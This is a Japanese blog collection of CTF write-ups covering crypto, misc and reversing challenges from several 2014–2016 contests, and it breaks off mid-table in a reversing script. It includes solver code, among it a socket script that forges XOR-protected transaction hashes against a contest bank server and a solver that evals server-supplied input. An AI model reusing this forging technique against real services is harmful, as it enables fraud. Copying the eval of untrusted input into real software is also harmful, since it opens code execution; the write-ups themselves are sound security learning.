Boston Key Party 2016 des ofb (crypto 2pt)

3/5-6に開催されたBoston Key Party 2016で解けた問題のwrite-upです。
CTF-infinit:@amaga38

提供された圧縮ファイルを解答するとPythonのソースコードと暗号化されているバイナリファイルが手に入る。

image

ソースコード

from Crypto.Cipher import DES

f = open(‘key.txt’, 'r’)
key_hex = f.readline()[:-1] # discard newline
f.close()
KEY = key_hex.decode(“hex”)
IV = '13245678’
a = DES.new(KEY, DES.MODE_OFB, IV)

f = open('plaintext’, 'r’)
plaintext = f.read()
f.close()

ciphertext = a.encrypt(plaintext)
f = open('ciphertext’, 'w’)
f.write(ciphertext)
f.close()

DESのOFBモードで暗号化されているみたい。鍵は必ず8バイトらしいので、試しに ’\x00’ * 8バイトで復号してみた。コードは↓

# -*- coding: utf-8 -*-
import sys
from Crypto.Cipher import DES

def next_key(cnt):
   next=“%016x” % (cnt<<1)
   return next

f = open('ciphertext’, 'r’)
ctext = f.read()
f.close()

key_hex=sys.argv[1]
while True:
   KEY = key_hex.decode(“hex”)
   IV = '13245678’
   a = DES.new(KEY, DES.MODE_OFB, IV)

   ptext = a.decrypt(ctext)
   if ptext.find(“BKPCTF{”) != -1:
       print ptext
       print
       print “Key: ” +key_hex
       break

   fname=“plain{0}.txt”.format(key_hex)
   f = open(fname, 'w’)
   f.write(ptext)
   f.close()
   print 'output to: ’ +fname
   key_hex=raw_input('input next-key: ’)

するとなぜかhexdumpで表示する右8バイト分の列がすべて復号できた。

image

さらに終わりの方にはフラグの一部っぽいのが見える

image

あとは左半分を復号できれば良さそう。まず、特定できた右側の単語をいくつかピックアップしてぐぐってみると暗号化前の平文っぽいものが見つかった。

とりあえず出だしの文章で平文へ復号できるXORのキーを探ってみる。

c = “”.join(“70 2b 7b ef 93 27 53 d3”.split())
c = c.decode('hex’)
p = “To be, o”
key=“”
for i in range(len(p)):
   print “Dec: %c -> %c” % (c[i], p[i])
   for k in range(1,256):
       d = ord(c[i]) ^ k
       if d==ord(p[i]):
           print “Key: ” +str(k),
           key+=“%02x” % k
   print
key=“”.join(key.split(“0x”))

得られたキーが \x24\x44\x5b\x8d\xf6\x0b\x73\xbc になったが、このキーで他の暗号化された箇所も復号できたので、じゃあ最後のFlag部分も復号しちゃえということで、復号してフラグがゲットできた。

k=key.decode('hex’)
ctext=[]
ctext.append(“”.join(“67 10 1d f6 85 64 2c d5”.split()))
ctext.append(“”.join(“45 1b 28 e5 99 79 07 e3”.split()))
ctext.append(“”.join(“43 1b 34 f9 86 2a 0e b6”.split()))

for i in ctext:
   c = i.decode('hex’)
   d = “”
   for j in range(len©):
       d += “%02x” % (ord(c[j])^ord(k[j]))
   print “[+]Flag part: ” + d.decode('hex’)

※key は↑で求めたキーを利用

image

Flag:  BKPCTF{so_its_just_a_short_repeating_otp!}

SSCTF 2016 Quals - HeHeDa (Crypto100)

2/27-28に開催されたSSCTF 2016で解けた問題のwrite-upです。

CTF-infinit:@amaga38

今回はシンフォギアライブ2016と被ってしまい、あまり参戦できなかったので1問だけ_(:3」∠)_

問題文

Crack Algorithm~ 

提供されたファイル

http://static.lab.seclover.com/crypto/Algorithm1-577265e1.zip

def LShift(t, k):

   k %= 8
   return ((t << k) | (t >> (8 - k))) & 0xff

def encode(p):
   ret = “”
   for i in range(8):
       ret = (’|’ if (p >> i) & 1 else ‘O’) + ret
   return ret

A = [85, 128, 177, 163, 7, 242, 231, 6, …, 172, 2, 137, 34]  ※一部省略
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, …, 104, 162, 15, 89]  ※一部省略
D = [2, 4, 0, 5, 6, 7, 1, 3]

plain = bytearray(“asdfghjk123456”)
key = bytearray(/*Missed*/)
assert len(key) == 8
t1 = bytearray()
for i in plain:
   t1.append(A[i])
t2 = bytearray()
for i in range(len(t1)):
   t2.append(LShift(t1[i], B[i % 8]))
for times in range(16):
   for i in range(len(t2)):
       t2[i] = C[t2[i]]
   for i in range(len(t2)):
       t2[i] = LShift(t2[i], i ^ D[i % 8])
   for i in range(len(t2)):
       t2[i] ^= key[i % 8]
out = “”
for i in t2:
   out += encode(i)
print out

# out>>
# OO|OO||OO|||||O … ||O||O||OOOOO|||OO|O| ※一部省略

# flag >>
# OO||O||O|O|||OO … |OO|OO||OO||OOOO|O|  ※一部省略

まずコメントアウトされているout、flagが気になるけど、encode()関数で1バイト文字を変換した文字列のよう。それぞれの文字が1bitを表していて ”O” が ”0″、”|”が1 となるので、単純に置き換えるdecode関数を↓のように書いた。

def decode_sub(e):
   ret = 0
   for i in range(8):
       if e[i]==’|’:
           ret = ret | (1<<(7-i))
   return ret

def decode(e_str):
   ret = bytearray()
   for i in range(0, len(e_str), 8):
       ret.append(decode_sub(e_str[i:i+8]))
   return ret

次に暗号化処理を見てみると、

  1. 平文の文字コードをIndexとしてAリストを使って置換。
  2. 1文字づつ左循環シフト。シフトさせるビット数は、Bリストを利用。
  3. 16回 4~6 を回すループ開始
  4. 文字コードをIndexとしてCリストを使って置換
  5. 左循環シフト。シフトさせるビット数は、Cリストを利用。
  6. key を使って、xor。

という感じ。復号処理はこれを逆にたどればいいので、1文字を復号する処理がこんな感じ↓ e が暗号化された文字、i が 文字列中で何番目か、k が対応する鍵

def RShift(t, k):
   k %= 8
   return ((t >> k) | (t << (8 - k))) & 0xff

def decrypt(e, i, k):
   d=e
   for times in range(16):
       d ^= k
       d = RShift(d, i ^ D[i % 8])
       d = C.index(d)
   d = RShift(d, B[i % 8])
   return A.index(d)

復号のためのkeyはXORをしているだけなので、総当り(256通り)を行って推定。与えられた plain と out を利用して鍵を探す。

def find_key(e, i, p):
   print “decrypt[%2d]: %c: ” % (i, p),
   for k in range(1,256):
       d = decrypt(e, i, k)
       if d == p:
           print “key: %02x,” % k,
   print
   return p, k

out = “OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|”
dec_out = decode(out)
print “decode: ”,
print_binarray(dec_out)
dec=“”
for i in range(len(dec_out)):
   if i == len(plain):
       break
   if not i%8: print
   p, k = find_key(dec_out[i], i, plain[i])
print dec

image

鍵長は、与えられたソースの22行目から 8バイト固定ということがわかっていて、さらに、単純にループを回しているだけなので、0と8、1と9、… と同じ鍵が使用される。plainの文字数が足りないけど、適当に”78”を追加したら上手い具合に plain から out へ暗号化できた。

image

最終的に求まった鍵がこちら↓

key = bytearray(“\x5e\x26\x23\x71\x44\x39\x33\x5f”)

この鍵で encodeされたflagを復号してあげた。(print_binarrayはdebug用)

def print_binarray(bin):
   for i in bin:
       print hex(i),
   print

# flag >>
flag = “OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|”
dec_out = decode(flag)
print “flag: ”
print_binarray(dec_out)
key = bytearray(“\x5e\x26\x23\x71\x44\x39\x33\x5f”)
p=“”
for i in range(len(dec_out)):
   p += chr(decrypt(dec_out[i], i, key[i%8]))
print p

image

SSCTF{1qaz9ol.nhy64rfv7ujm} を投稿して間違いと言われたので、しばらくコードが間違っているのかと悩んだ。ちゃんとルールを読みましょう_(:3」∠)_

Flag form: most flag form is SSCTF{xxx}, flag is xxx

なので、

Flag: 1qaz9ol.nhy64rfv7ujm

以上!

Internetwache CTF 2016 writeup

Internetwache CTF 2016 に参加したので解けた問題のWriteup書いてみました。CTF-infinit:@amaga38

チームとしては1100点獲得の138位でした_(:3」∠)_

MISC50 : The hidden message

問題の暗号文

0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113
0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146
0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167
0000060 130 063 153 167 144 130 060 113 012
0000071

左のアドレス表記が8進数で表記されてるようなので、暗号文全体を8進数から文字列へデコード

image

V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

base64っぽかったので、base64デコードしたらフラグが出た。

image

Flag: IW{N0_0ne_can_st0p_y0u}


MISC60 :  Quick Run

Someone sent me a file with white and black rectangles. I don’t know how to read it. Can you help me?

問題文

Description: Someone sent me a file with white and black rectangles. I don’t know how to read it. Can you help me?

image

明らかにbase64なので、デコードしてみるとQRコードが出てきた。文字列を連続でコンソールに表示するスクリプトを書いて1つ1つスマホで読み込んでいった。

import base64

f=open(“README.txt”,“r”)
lines = f.readlines();

b64_e =[]
for line in lines:
   b64_e.append(line.strip())
   if len(line) < 77:
       b64_d = “.join(b64_e)
       print base64.b64decode(b64_d)
       b64_e=[]

image

Flagis:IW{QR_C0DES_RUL3} 

MISC80 :  404 Flag not found

問題文

I tried to download the flag, but somehow received only 404 errors :( 

image

HTTPリクエストが複数あるけど、実際に繋いでみても証明書エラーで警告がでる。ホスト名をよく見てみるとasciiっぽいのでpcapからHost名を抜き出してasciiに変更してみた。

image

buf=”“"496e2074686520656e642c206974277320616c6c2061626f757420666c61
67732e0a5768657468657220796f752077696e206f72206c6f736520646f
65736e2774206d61747465722e0a7b4f66632c2077696e6e696e67206973
20636f6f6c65720a44696420796f752066696e64206f7468657220666c61
67733f0a4e6f626f62792066696e6473206f7468657220666c616773210a
53757065726d616e206973206d79206865726f2e0a5f4845524f2121215f
0a48656c70206d65206d7920667269656e642c2049276d206c6f73742069
6e206d79206f776e206d696e642e0a416c776179732c20616c776179732c
20666f72206576657220616c6f6e652e0a437279696e6720756e74696c20
49276d206479696e672e0a4b696e6773206e65766572206469652e0a536f
20646f20492e0a7d210a”“”

buf=“”.join(buf.split())
ans=“”
for b in range(0,len(buf),2):
    ans+=chr(int(buf[b:b+2],16))
print ans

出力結果。まさかの縦読み

In the end, it’s all about flags.
Whether you win or lose doesn’t matter.
{Ofc, winning is cooler
Did you find other flags?
Noboby finds other flags!
Superman is my hero.
_HERO!!!_
Help me my friend, I’m lost in my own mind.
Always, always, for ever alone.
Crying until I’m dying.
Kings never die.
So do I.
}!

Flag: IW{DNS_HACKS}

追記:

チームメンバーから xxd でいけることを教えてもらった

ubuntu@task $ grep -ia “Host: ” flag.pcapng | sed “s/Host: //” | sed “s/.2015.ctf.internetwache.org//” | xxd -ps -r
In the end, it’s all about flags.
Whether you win or lose doesn’t matter.
{Ofc, winning is cooler
Did you find other flags?
Noboby finds other flags!
Superman is my hero.
_HERO!!!_
Help me my friend, I’m lost in my own mind.
Always, always, for ever alone.
Crying until I’m dying.
Kings never die.
So do I.
}!

MISC90 :  BarParty

問題文

Can you read the barcodes? 

image

数が少なかったので、Incscapeでトリミングしてつなぎあわせた。

IW{Bar_B4r_C0d3s} 

Rev50 : SPIM

問題文

My friend keeps telling me, that real hackers speak assembly fluently. Are you a real hacker? Decode this string: “IVyN5U3X)ZUMYCs”

ファイルでアセンブラが渡された。命令コードでググッてみたらMIPSだった。

MIPSを見るのは初めて見たけど、短かったのでなんとか読めた。

User Text Segment [00400000]..[00440000]
[00400000] 8fa40000  lw $4, 0($29)            ; 183: lw $a0 0($sp) # argc
[00400004] 27a50004  addiu $5, $29, 4         ; 184: addiu $a1 $sp 4 # argv
[00400008] 24a60004  addiu $6, $5, 4          ; 185: addiu $a2 $a1 4 # envp
[0040000c] 00041080  sll $2, $4, 2            ; 186: sll $v0 $a0 2
[00400010] 00c23021  addu $6, $6, $2          ; 187: addu $a2 $a2 $v0
[00400014] 0c100009  jal 0x00400024 [main]    ; 188: jal main
[00400018] 00000000  nop                      ; 189: nop
[0040001c] 3402000a  ori $2, $0, 10           ; 191: li $v0 10
[00400020] 0000000c  syscall                  ; 192: syscall # syscall 10 (exit)
[00400024] 3c081001  lui $8, 4097 [flag]      ; 7: la $t0, flag
[00400028] 00004821  addu $9, $0, $0          ; 8: move $t1, $0 ; $t1 = 0
; for () {
[0040002c] 3401000f  ori $1, $0, 15           ; 11: sgt $t2, $t1, 15 ; 論理和 $t2 = $t1 | 15

[00400030] 0029502a  slt $10, $1, $9          ; 比較 $t2 = $1 < $t1 比較結果を $t2 へ格納

[00400034] 34010001  ori $1, $0, 1            ; 12: beq $t2, 1, exit ; 分岐
[00400038] 102a0007  beq $1, $10, 28 [exit-0x00400038] ; if $1==$10 exit
[0040003c] 01095020  add $10, $8, $9          ; 14: add $t2, $t0, $t1 ; t2 = t0 + t1
[00400040] 81440000  lb $4, 0($10)            ; 15: lb $a0, ($t2) ; lb = load byte (1バイトロード)
 ; $a0 = ($t2)
[00400044] 00892026  xor $4, $4, $9           ; 16: xor $a0, $a0, $t1 ; $a0 = $a0 ^ $t1
[00400048] a1440000  sb $4, 0($10)            ; 17: sb $a0, 0($t2)
[0040004c] 21290001  addi $9, $9, 1           ; 19: add $t1, $t1, 1
[00400050] 0810000b  j 0x0040002c [for]       ; 20: j for
}
[00400054] 00082021  addu $4, $0, $8          ; 24: move $a0, $t0
[00400058] 0c100019  jal 0x00400064 [printstring]; 25: jal printstring
[0040005c] 3402000a  ori $2, $0, 10           ; 26: li $v0, 10
[00400060] 0000000c  syscall                  ; 27: syscall
[00400064] 34020004  ori $2, $0, 4            ; 30: li $v0, 4
[00400068] 0000000c  syscall                  ; 31: syscall
[0040006c] 03e00008  jr $31                   ; 32: jr $ra

単純にfor文回してXORしているだけ↓(こんな感じ)

for (i=0; i<15; ++i) enc = original ^ i ;

復号してフラグがでた。

buf=“IVyN5U3X)ZUMYCs”
ans=“”
for i in range(len(buf)):
    ans+=chr(ord(buf[i])^i)
print ans

Flag: IW{M1P5_!S_FUN} 

Rev60 : File Checker

問題文

My friend sent me this file. He told that if I manage to reverse it, I’ll have access to all his devices. My misfortune that I don’t know anything about reversing :/ 

与えられたファイルは x86_64 の実行ファイル

filechecker: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=564c7e61a18251b57f8c2c3dc205ed3a5b35cca6, stripped

objdumpで逆アセンブルして解析していった。

objdump -D -Mintel filechecker > filechecker.asm

同じdirにある .passwod を読み込んで比較してる。0x40079c~0x400849 がファイルの文字チェック関数で、この関数を使って0x400709~0x40072a でfor文回しながら1文字づつチェック

上記関数内で用意されている下記リストの値それぞれを 0x1337 から引いたものがフラグのasciiコードになる [0x12ee, 0x12e0, 0x12bc, 0x12f1, 0x12ee, 0x12eb, 0x12f2, 0x12d8, 0x12f4, 0x12ef, 0x12d2, 0x12f4, 0x12ec, 0x12d6, 0x12ba]

buf = [0x12ee, 0x12e0, 0x12bc, 0x12f1, 0x12ee, 0x12eb, 0x12f2, 0x12d8,
0x12f4, 0x12ef, 0x12d2, 0x12f4, 0x12ec, 0x12d6, 0x12ba]

seed = 0x1337;
ans =[]
for i in range(len(buf)):
ans.append( chr(seed - buf[i]) )
print “”.join(ans)

Flag:  IW{FILE_CHeCKa}

Crypto 90 : Bank

問題文

Everyone knows that banks are insecure. This one super secure and only allows only 20 transactions per session. I always wanted a million on my account.

サーバに接続すると下記のメッセージが送られてくる。

WELCOME TO THE BANK BACKEND!

Possible commands:
help - Prints this message
create <a> - Creates a new transaction with amount <a>
complete <tid> <hash> - Completes a transaction to the current account. <tid> is the transaction ID to use and <hash> the verification hash.

サーバ側で動いているスクリプトが提供されていたので、ソース解析。

1. create コマンド実行時に 1 Transaction 開始。暗号化のためのランダムな値を取得

class Transaction:
    def __init__(self, a):
        self.__a = a
        self.__k = int(os.urandom(32).encode(‘hex’),16)
        self.__v = True

2. create <a> で与えた <a> を一旦 ”TRANSACTION <a>“ という文字列にして暗号化。

def __str__(self):
    return "TRANSACTION: ” + str(self.__a)

   def encrypt(self, t):
       self.__r.set_x(t.get_k())
       ct = “”
       s = str(t) #
       l = len(s)
       for c in s:
           ct += chr( ord© ^ (self.__r.get_next() % 2**7) )
       return ct.encode('hex’)

単純に1文字づつ鍵を更新しながらXORしているので、ブルートフォースして鍵を求められる。

3. complete  <tid> <hash> で復号して、create時の <a> の値をアカウントの m変数に追加していく。ただcreate時の値は覚えてなくて、複合した文字列の”TRANSACTION:“以降の数字を m に追加していっている。最終的にm > 1,000,000 になればフラグ出力。

4. create時に指定できる<a>の最大値は5000。ただ復号後のチェックが間違っていて、1スペース分(1桁分)多く<hash>値を偽造することができる。

solver:

毎トランザクションで create 5000 

from socket import *

org = "TRANSACTION: 5000”
crt = “create 5000”
mal = “TRANSACTION:99999”

def rcv_data(s):
   data=“”
   while “Command:” not in data:
       data += s.recv(1000)
   return data

def enc(s, key):
   ct=“”
   cnt=0
   for c in s:
       ct += chr( ord© ^ key[cnt] )
       cnt+=1
   return ct.encode('hex’)

def get_key(ct):
   cnt=0
   key=[]
   for i in range(0,len(tmp),2):
       C=int(ct[i:i+2], 16)
       for j in range(255):
           if (ord(org[cnt])^j) == C:
               key.append(j)
               break
       cnt+=1
   return key

s = socket(AF_INET, SOCK_STREAM)
s.connect((“188.166.133.53”, 10061))

cnt=0
data = rcv_data(s)
print data
while True:
   s.send(crt+“\n”)
   data = rcv_data(s)
   print data
   idx = data.index(“code:”)
   code = data[idx+6:idx+40]
   print code
   key = get_key(code)
   e = enc(mal, key)
   s.send(“complete ”+str(cnt)+“ ”+e+“\n”)
   data = rcv_data(s)
   print data
   cnt+=1
   if “IW{” in data:
       break

s.close()

image

Flag: IW{SHUT_UP_AND_T4K3_MY_M000NEYY}

Code50 : A numbers game

問題文

People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake.

問題サーバにアクセスして、ひたすら "x + 1 = 3" のような四則演算をしていく。左辺の定数を移項した数式を作成して eval に渡して計算結果をサーバに返すことを繰り返す。

solver

from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect((“188.166.133.53”, 11027))

def make_eq(e):
   # ex. e = [“:”, “x”, “+”, “1”, “=”, “3”]
   print “eq: ” +e[2]
   if e[2] == “+”:
       eq = “-”
   elif e[2] == “-”:
       eq = “+”
   elif e[2] == “*”:
       eq = “/”
   elif e[2] == “/”:
       eq = “*”
   else:
       print “[0]???: ” +e[2]
       exit()
   return e[e.index(“=”)+1] + eq + e[3]

def solve(q):
   X = q.split()
   eq = make_eq(X)
   return eval(“”.join(eq))

c = 0
while True:
   idx=0
   q = s.recv(1000)
   if q.find(“IW{”) != -1:
       print “flag: ” +q
       exit()

   print c,q
   try:
       idx=q.index(“:”)
   except:
       print q
       continue
   a = solve(q[idx:])
   s.send(str(a)+“\n”)
   c += 1

100問解いたら出た

Flag:  IW{M4TH_1S_34SY}

以上!

Pwnnium CTF 2014 writeup: Breakpoints (Reverse 300pts)

In Japanese

( CTF初心者向けに基礎的なことから書いてみました )

Pwnium CTF 2014 の ジャンル: Reverse、点数: 300点、問題: Breakpoints の Writeup です。

問題文

Find the password
http://41.231.53.44:8282/tasks/re300.zip

まずはビール  基本のfileコマンドとstringsコマンド。

$ wget http://41.231.53.44:8282/tasks/re300.zip
$ unzip re300.zip
Archive:  re300.zip
  inflating: re300                   
$ file re300
re300: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xb7ce37ad7009af531f13efe6425a45dda45de29c, stripped
$ strings re300 > re300.txt
$

64ビット Linux 実行ファイルということがわかり、私が使っている Ubuntu 14.04 64bit でそのまま実行できそうです。
strings 出力結果のre300.txt を見てみましたが、気になるのは “Password : ” ぐらいしかありませんでした。

次は、プログラムを実行して挙動を確認してみます。

$ chmod +x re300
$ ./re300
Password : test
:(
$

“Password : ” と尋ねられたので “test” と入力してみたら “:(” と表示されました。横向きに見ると不満顔なので不正なパスワードなのでしょう。
問題文が「Find the password」なので、正しいパスワードを見つけ出して入力するとフラグが表示されるのかもしれません。

ここから先はプログラムの処理を追わないとわからないので、まずはプログラムを逆アセンブルして静的解析してみます。
私はインテル表記アセンブリが好きなので -Mintel オプション付きで逆アセンブルしました。

$ objdump -D -Mintel re300 > re300.dis

fileコマンドで stripped と表示されていてシンボルテーブルがないため main関数は直接見つかりませんが、<.text> から追うとすぐに見つかります。

$ vi re300.dis
/<.text>

image

このvi でのシンタックス色付けはこれを利用しています。

main関数の逆アセンブル部分を少し整形してコメントを付けてみました。

image

最初に ptrace関数を呼び出しているのは、デバッガを使って実行しているかを調べていて、デバッガを使っていると処理結果が変わる細工(後述のstate変数に1を加算して条件を合わなくする) がしてあります。これが問題タイトル Breakpoints の所以でしょうか。

“Password : "を表示して、パスワード文字列の入力を待ち、パスワード文字列を引数にしてcheck_password関数を呼び、0以外で復帰すると笑顔が表示されるようです。

check_password関数を見てみるととても大きな関数のようです。
大枠はループ処理でした。

image

ループの中は 0x606b18 番地の値 (state変数と命名) に応じたswitch文で、stateの値によって比較する文字を限定しているようです。

image

stateの初期値は 0xfe129837 です。
デバッガを使って実行するとこの値が +1 されてしまい、どの switch case にも該当しなくなり、正しく動かないことになります。

image

これままでの解析では、入力されたpassword文字列の最後まで比較処理して return 0; してしまい、正しいパスワードが見つかりそうにありません。
そこで、この関数内で 0 以外で return しているところを探してみると、 mov eax,0x1 と jmp 0x406600 で return 1; しているところが 6か所ありました。

image

しかし、これだと、最後の文字が M か . か O か o か n か D ということしかわからず、適当に処理を追ってみたところ、例えば、1O とか dD とかのパスワードでも return 1; することになります。
試しにそれらのパスワードを入力してみると笑顔が表示されましたが、出題サーバにsubmitしてみると incorrect (不正解) になりました。

$ ./re300
Password : 1O
:)
$ ./re300
Password : dD
:)
$

ちょっと途方に暮れて IRC で「 I found many passwords. What shoud I do? 」とぼやいてみたら、「 just analyze and follow the code from the first, only the first case 」という返事が返ってきました。
つまり、コードを順番に追って最初に見つかったのが正しいパスワードということのようです。
コードを最初から手で追うのはとても時間がかかりそうで、もしどこかで間違って最初からやり直すことになると心がくじけそうに思えたので、stateの値と判定文字の組み合わせ処理をテキストエディタで切り出してテーブルにして、テーブルを追うPythonスクリプトを書いてみることにしました。

以下のスクリプトを実行するとすぐにパスワード文字列が表示され、この文字列をsubmit して 300点得ることができました。
実際には、配列テーブルではなくハッシュテーブルにしていたために検索順番が入れ替わってしまい、最初にフラグが出てこなくて悩んでずいぶんと時間がかかってしまったんですけどね :( 。

$ python re300.py
D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
$

ちなみに、上記フラグは Leet文字 で Debugging this obfuscated code is really hard と書いてあります。


#!/usr/bin/env python state2label = { # state : label 0x712a6ee0: 0x401bb0, 0x3b1232b4: 0x4026e3, 0x182d7714: 0x404cab, 0x0ecab259: 0x4039d3, 0x020f2291: 0x402305, 0x008edf89: 0x405ff6, 0x017e5e77: 0x4064f5, 0x007e20d9: 0x403afe, 0x0a669ef2: 0x4047ff, 0x0557744d: 0x40396c, 0x0b63017e: 0x405ce7, 0x0b86c8e7: 0x403bcc, 0x1156dc16: 0x405c61, 0x102f6b77: 0x405fcd, 0x10b029f2: 0x4046ab, 0x0fa512b4: 0x401500, 0x140fdcb1: 0x405641, 0x1397eeae: 0x403749, 0x15142793: 0x402a6e, 0x15b1a37d: 0x405365, 0x2ad398b4: 0x4016b1, 0x1dc4cee7: 0x404059, 0x19a2b0ce: 0x402cee, 0x1d237c44: 0x405e31, 0x193c43d3: 0x403e6a, 0x20cdb51d: 0x404fa6, 0x1e813336: 0x405ed6, 0x233e843d: 0x402090, 0x23f1bbb8: 0x401810, 0x2fca1163: 0x404422, 0x2ea896ff: 0x405554, 0x2fbb4492: 0x403129, 0x2c8ab6bc: 0x402bec, 0x318a4f34: 0x4027d0, 0x3172b544: 0x40540a, 0x32894ca2: 0x404eb9, 0x3585f316: 0x402d93, 0x5497bada: 0x4026ba, 0x48fec350: 0x401d61, 0x42aff063: 0x40386a, 0x3c8a90ff: 0x4035f5, 0x417ab283: 0x4045dd, 0x3bc3c630: 0x40306f, 0x4540edb9: 0x402f1b, 0x44bc3cc5: 0x4040c0, 0x47279fae: 0x4048a4, 0x4890b5dc: 0x404233, 0x4bef9c8c: 0x401feb, 0x4a282adb: 0x405074, 0x4b5a7528: 0x40246e, 0x4918d4ce: 0x403d7d, 0x4e4471d8: 0x404adb, 0x4cae036c: 0x405452, 0x4fdc74fe: 0x4044f0, 0x50112116: 0x40626b, 0x60ba1784: 0x404968, 0x59c9f953: 0x402856, 0x577e7368: 0x405fa4, 0x58b714af: 0x4059a4, 0x558185fe: 0x4065ad, 0x5d65105e: 0x4021da, 0x5b3ef3ef: 0x4042d8, 0x5fbc197d: 0x401a28, 0x607300dc: 0x4034fd, 0x67c528e7: 0x405618, 0x6416d4f8: 0x4015a5, 0x62a0c8ca: 0x40418e, 0x64db7575: 0x405157, 0x664030e5: 0x403b46, 0x6e243512: 0x405f3d, 0x68679285: 0x401cbc, 0x6fc7f3ff: 0x405a49, 0x6fcdb657: 0x403318, 0xb2fc91ab: 0x40191c, 0x8f645151: 0x404c25, 0x7fcbe8e1: 0x402d6a, 0x756761ce: 0x403701, 0x71b7106a: 0x404663, 0x72904901: 0x402fa1, 0x7151ac2d: 0x400f5c, 0x774f07a0: 0x4023aa, 0x772268d7: 0x40103f, 0x792f371f: 0x40615f, 0x7abba976: 0x4018b5, 0x824884f7: 0x404f5e, 0x8190d2e1: 0x40164a, 0x81f92b5f: 0x402962, 0x80fd06bc: 0x40521b, 0x8549c2b8: 0x4061c6, 0x827a53b1: 0x403de4, 0x894cff3f: 0x4013d5, 0x89bf42a5: 0x401aae, 0x9bbabbd2: 0x406412, 0x921224e0: 0x404b04, 0x90305228: 0x403579, 0x9070b209: 0x4022dc, 0x8fe85bff: 0x405d4e, 0x99d13020: 0x40437d, 0x999d6be3: 0x404595, 0x9af7186c: 0x403cce, 0x9aff4df3: 0x402a07, 0xa117982f: 0x405b0d, 0x9ef45553: 0x401189, 0xa025ed69: 0x4060ba, 0x9c19ee76: 0x403e93, 0xa72d6c18: 0x404dd6, 0xa7087ae0: 0x40369a, 0xad72e300: 0x402e76, 0xae907d25: 0x404e52, 0xdd01eab3: 0x402497, 0xcfcddef9: 0x400ef5, 0xc42b2458: 0x404731, 0xb897279f: 0x401e06, 0xc0df40a6: 0x402788, 0xb6fa5a33: 0x401311, 0xcac5161a: 0x403cf7, 0xc78964f3: 0x404146, 0xcc194cc7: 0x4011d1, 0xcc53e91d: 0x405b74, 0xd81f6c49: 0x403216, 0xd28dcea2: 0x404798, 0xd4f27687: 0x402116, 0xd2283d5c: 0x401c55, 0xd857a69e: 0x4025d7, 0xd83d022f: 0x403a78, 0xd9a7c21c: 0x4028fb, 0xdca083ff: 0x404a55, 0xe81c0d24: 0x4054b9, 0xe49e1d4c: 0x4044a8, 0xe1118a27: 0x403f38, 0xe2d2e2a7: 0x405762, 0xdecf8a6c: 0x4052a1, 0xe587b32f: 0x403439, 0xe5075672: 0x40632f, 0xe6dd4db6: 0x4019c1, 0xe7ec77db: 0x4049ee, 0xf03ad87a: 0x40502c, 0xecc6379f: 0x403027, 0xe8311900: 0x403190, 0xef1580b9: 0x405bbc, 0xf00d2d49: 0x401122, 0xf487628c: 0x404d8e, 0xf0bbbe85: 0x401f27, 0xf6fbb4e5: 0x40145b, 0xfe129837: 0x405807, } label2states = { # label : ( ( key , state ), ) 0x400ef5: ( ( 0x7d, 0x894cff3f ), ( 0x20, 0xe2d2e2a7 ), ( 0x55, 0x0b63017e ), ), 0x400f5c: ( ( 0x47, 0xf00d2d49 ), ( 0x4a, 0x4540edb9 ), ( 0x60, 0x10b029f2 ), ( 0x3c, 0x89bf42a5 ), ( 0x5d, 0x6fcdb657 ), ( 0x68, 0x50112116 ), ( 0x65, 0x020f2291 ), ), 0x40103f: ( ( 0x28, 0xf00d2d49 ), ( 0x41, 0xe8311900 ), ( 0x0b, 0x7151ac2d ), ( 0x79, 0xecc6379f ), ( 0x70, 0x20cdb51d ), ( 0x67, 0x71b7106a ), ( 0x23, 0x71b7106a ), ), 0x401122: ( ( 0x31, 0x2ea896ff ), ( 0x0b, 0x48fec350 ), ( 0x3e, 0x1156dc16 ), ), 0x401189: ( ( 0x50, 0x017e5e77 ), ( 0x69, 0x10b029f2 ), ), 0x4011d1: ( ( 0x47, 0x182d7714 ), ( 0x4d, 0x68679285 ), ( 0x4f, 0x9c19ee76 ), ( 0x69, 0x72904901 ), ( 0x7b, 0x7151ac2d ), ( 0x73, 0xfe129837 ), ( 0x77, 0x4fdc74fe ), ( 0x5c, 0xdecf8a6c ), ( 0x47, 0x5d65105e ), ( 0x46, 0x0ecab259 ), ), 0x401311: ( ( 0x23, 0xcc194cc7 ), ( 0x42, 0xa72d6c18 ), ( 0x4b, 0x5b3ef3ef ), ( 0x25, 0xd4f27687 ), ( 0x3a, 0x318a4f34 ), ( 0x72, 0xe1118a27 ), ), 0x4013d5: ( ( 0x5f, 0x6fcdb657 ), ( 0x69, 0x42aff063 ), ( 0x44, 0x32894ca2 ), ( 0x60, 0x7fcbe8e1 ), ), 0x40145b: ( ( 0x76, 0x008edf89 ), ( 0x25, 0x9af7186c ), ( 0x2e, 0x4a282adb ), ( 0x3b, 0x9aff4df3 ), ( 0x6d, 0x558185fe ), ), 0x401500: ( ( 0x7d, 0x81f92b5f ), ( 0x6f, 0xcfcddef9 ), ( 0x37, 0x020f2291 ), ( 0x50, 0x8549c2b8 ), ( 0x68, 0xd2283d5c ), ), 0x4015a5: ( ( 0x63, 0x4540edb9 ), ( 0x36, 0xd9a7c21c ), ( 